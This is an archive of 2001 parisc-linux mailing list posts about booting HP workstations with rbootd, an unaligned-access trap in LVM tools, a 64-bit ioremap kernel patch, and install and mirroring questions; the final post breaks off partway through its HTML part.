X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rbootd for HP715/50
Date: Thu, 28 Jun 2001 14:03:59 +0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20010628140358.A15334@neep.com.au>
References: <Pine.SOL.4.21.0106271612400.10527-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620247 21479 80.91.229.3 (22 Nov 2014 01:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 00:27:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by dsl2.external.hp.com (Postfix) with SMTP id C91C5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 00:27:49 -0600 (MDT)
Original-Received: (qmail 31332 invoked by uid 666); 28 Jun 2001 06:04:03 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.173.61)
  by mail.iinet.net.au with SMTP; 28 Jun 2001 06:04:03 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id OAA15595
	for parisc-linux@lists.parisc-linux.org; Thu, 28 Jun 2001 14:04:03 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.SOL.4.21.0106271612400.10527-100000@panther.uwo.ca>; from yhan@uwo.ca on Wed, Jun 27, 2001 at 04:16:35PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11447

y.   han said:
> We are trying to use rbootd to boot up HP715/50 machines. The machine we 
> are using is running RedHat 7.1. We downloaded
> the rbootd files from
> ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz
> 
> How can we run it so that the hp box can find it when it boot. how can we
> change rboot.conf file to make it work.
> 
> Or is there a manual/ instruction for it?

Have you installed this tarball's contents?  It does include a man page,
rbootd.8 ...

  tar xzpvfC rbootd-2.0-2.tar.gz /

You'll need to modify /etc/rbootd.conf that contains the MAC address of
your workstation and the name of the image file.

Here is one of mine, for example:

  08:00:09:35:B9:38       Image         # hpsauce Linux kernel

Your kernel image(s) need to go in /export/hp/rbootd for this build of
rbootd (as far as I can tell).  "mkdir -p /export/hp/rbootd" to create.

As for how to start it, well, just run "/etc/rc.d/init.d/rbootd start" ...

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Torsten Neumann <torsten@imke.infodrom.ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems compiling LVM
Date: Thu, 28 Jun 2001 20:29:37 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20010628202937.A13724@imke.infodrom.ffis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620248 21483 80.91.229.3 (22 Nov 2014 01:37:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 12:30:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kuolema.infodrom.north.de (kuolema.infodrom.north.de [217.89.86.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84FDF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 12:30:41 -0600 (MDT)
Original-Received: from finlandia.infodrom.north.de (finlandia.Infodrom.North.DE [217.89.86.34])
	by kuolema.infodrom.north.de (Postfix) with ESMTP id 5F3454D759
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 20:30:23 +0200 (CEST)
Original-Received: by finlandia.infodrom.north.de (Postfix, from userid 10)
	id B0C3310AFB; Thu, 28 Jun 2001 20:30:19 +0200 (CEST)
Original-Received: by imke.infodrom.ffis.de (Linux Smail3.2 #1)
	id m15FgXp-0005QrC; Thu, 28 Jun 2001 20:29:37 +0200 (CEST)
X-Mailer: Mutt 1.0pre3i
Original-Sender: torsten@imke.infodrom.north.de
Xref: news.gmane.org gmane.linux.ports.parisc:11448

Hi,

the linux-lvm code was inspired by the hp-ux LVM. So I thougt it would be
real cool if the linux-lvm runs under hppa-linux.
Compiling the kernel with lvm support is no problem, the userspace tools
have some problems with gcc-3 (code uses #ifdef constructs in printf macro),
but then also compiles cleanly.

Now I want to create a VG but I only got the error message
imke kernel: pvcreate(188): unaligned access to 0x40067cf3 at ip=0x400310db
imke kernel: Not-handled unaligned insn 0x48350376
from the program pvcreate.
Could somebody tell what kind of problem this is. Is it a kernel problem or
a userspace problem ?
Is there a way to avoid this problem ?

  Torsten




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "y.   han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel images for rbootd
Date: Thu, 28 Jun 2001 15:01:28 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0106281457180.23217-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620248 21490 80.91.229.3 (22 Nov 2014 01:37:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 13:01:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99D12482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 13:01:30 -0600 (MDT)
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.2/8.10.2) with ESMTP id f5SJ1tV15446
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 15:01:55 -0400 (EDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11449

thanks for Andrew's detailed instruction.

Well, we came across another question after several steps.
1. what is the kernel image? we downloaded the nfsroot-20001009.tar.gz, is
this the kernel image?

2. shall we copy this file into /export/hp/rbootd directory and gunzip and
tar it?

thanks again,





From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems compiling LVM
Date: Thu, 28 Jun 2001 21:36:15 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20010628193654.0239E482A@dsl2.external.hp.com>
References: <20010628202937.A13724@imke.infodrom.ffis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620248 21495 80.91.229.3 (22 Nov 2014 01:37:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:28 +0000 (UTC)
To: Torsten Neumann <torsten@imke.infodrom.ffis.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 13:36:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0239E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 13:36:53 -0600 (MDT)
Original-Received: (qmail 12824 invoked by uid 0); 28 Jun 2001 19:36:50 -0000
Original-Received: from pd904039b.dip.t-dialin.net (HELO there) (217.4.3.155)
  by mail.gmx.net (mail01) with SMTP; 28 Jun 2001 19:36:50 -0000
X-Mailer: KMail [version 1.2.9]
In-Reply-To: <20010628202937.A13724@imke.infodrom.ffis.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11450

Hi Torsten,

The problem is that your userspace program tries to do a direct 16 or 32-bit 
read- or write-access to address 0x40067cf3 - which lies on a "unaligned 
address" (e.g. not a a 32-bit boundary). 
On Intel architectures this fault is automatically handled by the hardware, 
while you get an unaligned access trap on parisc.

The first parisc-kernel which should handle this trap correctly is 2.4.0-pa39 
(in CVS), so I would encourage you to update your kernel.

Greetings,
Helge

On Thursday 28 June 2001 20:29, Torsten Neumann wrote:
> Hi,
>
> the linux-lvm code was inspired by the hp-ux LVM. So I thougt it would be
> real cool if the linux-lvm runs under hppa-linux.
> Compiling the kernel with lvm support is no problem, the userspace tools
> have some problems with gcc-3 (code uses #ifdef constructs in printf
> macro), but then also compiles cleanly.
>
> Now I want to create a VG but I only got the error message
> imke kernel: pvcreate(188): unaligned access to 0x40067cf3 at ip=0x400310db
> imke kernel: Not-handled unaligned insn 0x48350376
>
> >from the program pvcreate.
>
> Could somebody tell what kind of problem this is. Is it a kernel problem or
> a userspace problem ?
> Is there a way to avoid this problem ?
>
>   Torsten




From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <chris@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel images for rbootd
Date: Thu, 28 Jun 2001 15:52:13 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106281549180.29792-100000@baldric.uwo.ca>
References: <Pine.SOL.4.21.0106281457180.23217-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620249 21503 80.91.229.3 (22 Nov 2014 01:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:29 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "y.   han" <yhan@uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 13:52:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with SMTP id C6D98482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 13:52:16 -0600 (MDT)
Original-Received: (qmail 752 invoked by uid 1001); 28 Jun 2001 19:52:13 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 28 Jun 2001 19:52:13 -0000
In-Reply-To: <Pine.SOL.4.21.0106281457180.23217-100000@panther.uwo.ca>
X-Subliminal: The Matrix is the world that has been pulled over your eyes to blind you from the truth.
X-Mailer: Pine 4.33 (Cybernetic Implant OS 1.0.3)
Xref: news.gmane.org gmane.linux.ports.parisc:11451

On Thu, 28 Jun 2001, y.   han wrote:

> Well, we came across another question after several steps.
> 1. what is the kernel image? we downloaded the nfsroot-20001009.tar.gz, is
> this the kernel image?

No that is the image for the NFS root filesystem.

There are some kernel images in:
/pub/parisc/binaries/kernels on puffin.external.hp.com but they are pretty
old ("vmlinux-*" files) so you might want to get the source code and
compile your own.  There are instructions for this on the website.


> 2. shall we copy this file into /export/hp/rbootd directory and gunzip and
> tar it?

No you want to untar it into a directory that is accesible by NFS.
(Assuming you want to have an NFS root filesystem).


     Chris

------------------------------
Yoda: Fear is the path to the dark side. Fear leads to anger. Anger
leads to hate. Hate leads to suffering. I sense much fear in you.





From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Torsten Neumann <torsten@imke.infodrom.ffis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems compiling LVM
Date: Thu, 28 Jun 2001 22:14:50 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20010628221450.A28337@imke.infodrom.ffis.de>
References: <20010628202937.A13724@imke.infodrom.ffis.de> <20010628193653.77706115D6@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620249 21505 80.91.229.3 (22 Nov 2014 01:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 14:15:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kuolema.infodrom.north.de (kuolema.infodrom.north.de [217.89.86.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFC95482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 14:15:35 -0600 (MDT)
Original-Received: from finlandia.infodrom.north.de (finlandia.Infodrom.North.DE [217.89.86.34])
	by kuolema.infodrom.north.de (Postfix) with ESMTP
	id A149E4D778; Thu, 28 Jun 2001 22:15:30 +0200 (CEST)
Original-Received: by finlandia.infodrom.north.de (Postfix, from userid 10)
	id 4704310AE9; Thu, 28 Jun 2001 22:15:30 +0200 (CEST)
Original-Received: by imke.infodrom.ffis.de (Linux Smail3.2 #1)
	id m15FiBe-0005F5C; Thu, 28 Jun 2001 22:14:50 +0200 (CEST)
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <20010628193653.77706115D6@finlandia.infodrom.north.de>
Original-Sender: torsten@imke.infodrom.north.de
Xref: news.gmane.org gmane.linux.ports.parisc:11452

On Thu, Jun 28, 2001 at 09:36:15PM +0200, Helge Deller wrote:
> Hi Torsten,

[ unaligned access problem ]
> 
> The problem is that your userspace program tries to do a direct 16 or 32-bit 
> read- or write-access to address 0x40067cf3 - which lies on a "unaligned 
> address" (e.g. not a a 32-bit boundary). 
> On Intel architectures this fault is automatically handled by the hardware, 
> while you get an unaligned access trap on parisc.
> 
> The first parisc-kernel which should handle this trap correctly is 2.4.0-pa39 
> (in CVS), so I would encourage you to update your kernel.

This was with kernel
Linux imke 2.4.0-pa43 #2 Wed Jun 27 20:09:41 CEST 2001 parisc unknown

Any Hints ?
Or could somebody tell me what more info is needed to solve the problem ?

  Torsten




From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems compiling LVM
Date: Thu, 28 Jun 2001 13:26:07 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20010628132607.B3045@tausq.org>
References: <20010628202937.A13724@imke.infodrom.ffis.de> <20010628193653.77706115D6@finlandia.infodrom.north.de> <20010628221450.A28337@imke.infodrom.ffis.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620249 21510 80.91.229.3 (22 Nov 2014 01:37:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Torsten Neumann <torsten@imke.infodrom.ffis.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 14:27:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 441D6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 14:27:08 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id wlclgaaa for parisc-linux@lists.parisc-linux.org; Thu, 28 Jun 2001 13:23:26 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15FiMZ-0003pW-00; Thu, 28 Jun 2001 13:26:07 -0700
Content-Disposition: inline
In-Reply-To: <20010628221450.A28337@imke.infodrom.ffis.de>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11453

> This was with kernel
> Linux imke 2.4.0-pa43 #2 Wed Jun 27 20:09:41 CEST 2001 parisc unknown
> 
> Any Hints ?
> Or could somebody tell me what more info is needed to solve the problem ?

Torsten, can you send me (not to the list pls) the binary that causes the
trap? I'll take a look. The unaligned trap only handles the common
load/store instructures on unaligned boundaries. Looks like your
application is using one of the (currently) unsupported instructions.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ioremap with 32bit kernel on 64bit machines
Date: Thu, 28 Jun 2001 23:03:46 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010628230346.A2361@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620250 21518 80.91.229.3 (22 Nov 2014 01:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 15:03:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951CFA2.dip.t-dialin.net [217.81.207.162])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17B1A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 15:03:57 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id XAA03423
	for parisc-linux@lists.parisc-linux.org; Thu, 28 Jun 2001 23:03:46 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11454

Hi,

we do have a problem with ioremap on 64bit machines with a 32bit kernel.
While ldaw and friends translate the 32bit address to an appropriate
64bit address our dtlb miss handler doesn't.

ldaw translation:

0x00000000 - 0xefffffff  ->   0x00000000 00000000 - 0x00000000 efffffff
0xf0000000 - 0xf0ffffff  ->   0xf0000000 00000000 - 0xf0000000 00ffffff
0xf1000000 - 0xffffffff  ->   0xffffffff f1000000 - 0xffffffff ffffffff

the second range is PDC address space, don't know whether we need it.
I've added code in dtlb_miss_20 and nadtlb_miss_20 to do following
mapping:

0x00000000 - 0xefffffff  ->   0x00000000 00000000 - 0x00000000 efffffff
0xf0000000 - 0xffffffff  ->   0xffffffff f0000000 - 0xffffffff ffffffff

This way we get at least io address space right. The changes are below
and I guess they could be improved. With this changes I'm able to ioremap
the framebuffer on my C200 and after changes to zalon and sym53x8xx the
system works as before. Comments ?

Thomas.

Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.85
diff -u -r1.85 entry.S
--- arch/parisc/kernel/entry.S	2001/06/12 16:09:52	1.85
+++ arch/parisc/kernel/entry.S	2001/06/27 23:05:40
@@ -1251,7 +1251,10 @@
 	/* Get rid of prot bits and convert to page addr for idtlbt */
 
 	depdi		0,63,12,pte
-	extrd,u		pte,56,25,pte
+	extrd,u         pte,35,4,t0
+	cmpiclr,<>      15,t0,r0
+	depdi           -1,31,32,pte
+	extrd,u		pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir
@@ -1324,7 +1327,10 @@
 	/* Get rid of prot bits and convert to page addr for idtlbt */
 
 	depdi		0,63,12,pte
-	extrd,u		pte,56,25,pte
+	extrd,u         pte,35,4,t0
+	cmpiclr,<>      15,t0,r0
+	depdi           -1,31,32,pte
+	extrd,u		pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir


-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dselect fails phase 2 of version 0.9 installation
Date: Thu, 28 Jun 2001 22:28:46 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010628222846.V23509@linuxcare.com>
References: <Pine.SOL.4.10.10106271206040.1484-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620250 21527 80.91.229.3 (22 Nov 2014 01:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 15:28:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19B19482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 15:28:42 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 97987B00C; Thu, 28 Jun 2001 22:28:46 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.SOL.4.10.10106271206040.1484-100000@lugh.cacr.caltech.edu>; from budriuna@cacr.caltech.edu on Wed, Jun 27, 2001 at 12:29:11PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11455

On Wed, Jun 27, 2001 at 12:29:11PM -0700, Al Budriunas wrote:
> 
> I am experiencing the same failure reported by E. Frank Ball to this group
> on June 6:
> 
> =================
> I then tried to run "dpkg-reconfigure base-config".  It got to where it
> is supposed to install the packages and died with a message:  failed
> running script /usr/sbin/dpkg-preconfigure --apt || true
> apt-utils is not installed.
> ==================
> 
> My install source is CDROM created from the June iso image. Has anyone
> sorted this out yet?

There should be a new ISO out any day now, please try again once
that is available.

Richard





From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jason andrade <jason@dstc.edu.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mirroring parisc-linux in australia (2nd or 3rd try..)
Date: Fri, 29 Jun 2001 14:54:03 +1000 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.20.0106291452140.7520-100000@azure.dstc.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620251 21535 80.91.229.3 (22 Nov 2014 01:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:31 +0000 (UTC)
Cc: mailto: ;
To: mailto: ;
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 28 22:54:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from piglet.dstc.edu.au (piglet.dstc.edu.au [130.102.176.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1218482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Jun 2001 22:54:06 -0600 (MDT)
Original-Received: from azure.dstc.edu.au (azure.dstc.edu.au [130.102.176.27])
	by piglet.dstc.edu.au (8.11.3/8.11.3) with ESMTP id f5T4s3412350;
	Fri, 29 Jun 2001 14:54:03 +1000 (EST)
X-Scanned-By: MIMEDefang 1.0 (http://www.roaringpenguin.com/mimedefang/)
Xref: news.gmane.org gmane.linux.ports.parisc:11456

Hi,

I'm trying to find out what's involved in mirroring parisc-linux
here in australia and actually getting listed.

I've mirrored the 0.9 release, and have been mirroring since
0.5, but haven't been able to get any reply from the parisc
archive admin to date about

o automating mirroring
o rsync access
o web page mirroring

and most importantly, getting listed as a mirror for australia.

any takers ?


regards,

-jason






From - Thu Nov 08 21:18:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yan Han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] request to boot (denied)
Date: Fri, 29 Jun 2001 14:39:06 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <002901c100ca$c74d24c0$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0026_01C100A9.4013D880"
X-Trace: ger.gmane.org 1416620251 21538 80.91.229.3 (22 Nov 2014 01:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 29 12:44:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4FF2482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Jun 2001 12:44:37 -0600 (MDT)
Original-Received: from HCI009 (gl-209.gaul.csd.uwo.ca [129.100.12.209])
	by pony.its.uwo.ca (8.10.2/8.10.2) with SMTP id f5TIj3V03517
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Jun 2001 14:45:03 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11457

This is a multi-part message in MIME format.

------=_NextPart_000_0026_01C100A9.4013D880
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi!

We got the message of "08:00:09:87:e4:8f: request to boot=20
(denied) " from the system message.=20
But  we ran the rbootd in this machine. Does anyone know how to figure =
it out?

thanks,


------=_NextPart_000_0026_01C100A9.4013D880
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We got the message&nbsp;of =
"08:00:09:87:e4:8f: <B=20
style=3D"BACKGROUND-COLOR: #a0ffff; COLOR: black">request</B> to <B=20
style=3D"BACKGROUND-COLOR: #99ff99; COLOR: black">boot</B> <BR>(<B=20
